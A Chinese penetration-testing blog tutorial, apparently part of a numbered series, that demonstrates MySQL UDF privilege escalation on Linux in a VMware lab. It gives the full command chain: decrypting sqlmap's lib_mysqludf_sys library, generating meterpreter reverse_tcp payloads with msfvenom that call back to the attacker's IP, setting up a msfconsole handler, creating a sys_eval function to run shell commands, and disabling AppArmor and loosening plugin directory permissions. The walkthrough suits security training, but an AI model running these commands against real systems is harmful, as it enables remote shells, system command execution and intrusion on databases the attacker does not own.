106.网络安全渗透测试—[权限提升篇4]—[Linux Mysql UDF提权]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、LINUX MYSQL UDF[提权]

1、漏洞介绍:

1.udf介绍

​ UDF是mysql的一个拓展接口,UDF(Userdefined function),可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数,udf就是为了让我们开发者能够自己写方便自己函数(其中包括了执行系统命令的函数,要想利用udf,必须上传udf.so或udf.dll作为udf的执行库),并且它有3种返回值,这三种分别是STRING字符型,INTEGER整型,REAL实数型。

2.udf定义格式
	# 创建自定义函数
	CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} SONAME '文件名';
	[]是可选项
	[AGGREATE]是聚集函数的表示,系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
	SONAME 'file'表示这个函数从哪个文件里面引入,而这个文件一般是动态链接库,windows下是dll,linux是so,并且这个文件要在mysql的plugin目录下

    # 删除自定义函数,如果要删除该函数,必须udf文件还存在plugin目录下
    DROP FUNCTION function_name
3.mysql-udf提权原理

​ udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.so或udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.so或udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

4.mysql-udf提权本质

​ udf提权本质上并不是真正意义上的提权,只是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话同样也没有特别大的意义!!!

2、漏洞背景:

​ 192.168.97.130攻击者已经获得了192.168.97.135靶机的webshell,并且通过msfvenom和msfconsole联动获得了靶机的系统meterpreter的shell,但是此时shell的权限只是www-data权限。与此同时,由于我们也获得了192.168.97.135的mysql登录用户名和密码,因此我们可以尝试进行mysql的udf提权,从而通过mysql执行系统命令。

3、漏洞利用:

1.实验环境:
1.靶机环境:
(1)虚拟机Ubuntu15.04【www.webtester.com】【192.168.97.135】
(2)脚本语言环境:perl/python/php均存在
(3)mysql版本:mysql Ver 14.14 Distrib 5.5.62, for debian-linux-gnu (x86_64) using readline 6.3

2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+nc瑞士军刀

3.网络环境:
(1)VMware搭建的NAT网络
2.一些实验前的准备:
1.在kali中,获取udf的利用脚本:
    存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
    其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
    解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so

2.具体步骤:
    cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
    cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
    cd /mnt/hgfs/share/udf
    python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
    python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.靶机链接:

​ URL:http://www.moontester.com/upload.php

4.实验步骤:

​ (1)前提:已经获得了靶机的一个webshell,并且通过上传64.elf获得了meterpreter的shell,并且已经得到了mysql的登录账号

​ 第一步:攻击方制作木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 64.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 32.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 64.exe
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 32.exe

​ 第二步:攻击方把木马放入靶机的/tmp下,并且赋予执行权限chmod +x 64.elf

​ 第三步:攻击方使用木马

msfconsole
use exploit/multi/handler #加载模块
set payload linux/x64/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set lhost 192.168.97.130 #设置kali的IP地址为监听地址
set lport 12345 #设置监听端口
run #开启侦听

在这里插入图片描述

​ 第四步:攻击方在靶机的webshell上执行./64elf

在这里插入图片描述

​ (2)python切换到交互式:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

​ (3)查看mysql以及linux版本、登录mysql、查看plugin的目录,上传对应的udf脚本

​ 第一步:mysql --version

在这里插入图片描述

​ 第二步:mysql -uroot -p123456

在这里插入图片描述

​ 第三步:select user();

在这里插入图片描述

​ 第四步:select @@basedir; //查看mysql安装目录

在这里插入图片描述

​ 第五步:show variables like '%plugin%'; //查看plugin目录

在这里插入图片描述

​ 第六步:上传udf脚本到plugin目录下

在这里插入图片描述

​ (4)从mysqludf_linux_64.so动态链接库里引入自定义函数sys_eval,以mysql的身份进行执行系统命令

​ 第一步:create function sys_eval returns string soname 'mysqludf_linux_64.so'; //创建函数

​ 第二步:select * from mysql.func where name = 'sys_eval'; // 查看我们创建的sys_eval函数

​ 第三步:select sys_eval("whoami"); // 解除AppArMor访问控制权限之前,执行命令无效果

在这里插入图片描述

4、漏洞限制:

1.plugin目录不存在或者没权限写入文件

运行如下的命令,授予plugin目录写权限:

$ cd /usr/lib/mysql

$ chmod 777 plugin/

在这里插入图片描述

2.udf.so文件的版本不对
1.在kali中,获取udf的利用脚本:
    存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
    其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
    解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so

2.具体步骤:
    cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
    cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
    cd /mnt/hgfs/share/udf
    python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
    python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
    python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.设置AppArMor访问控制权限【该情况会导致命令执行的结果为NULL

參考链接

​ (1)AppArmor(Application Armor)是Linux内核的一个安全模块,AppArmor允许系统管理员将每个程序与一个安全配置文件关联,从而限制程序的功能。简单的说,AppArmor是与SELinux类似的一个访问控制系统,通过它你可以指定程序可以读、写或运行哪些文件,是否可以打开网络端口等。作为对传统Unix的自主访问控制模块的补充,AppArmor提供了强制访问控制机制,它已经被整合到2.6版本的Linux内核中。

​ (2)目前Ubuntu已自带了Apparmor, 可以在手册中获得相应的资料。

​ (3)运行如下的命令,解除访问控制:

$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/

$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值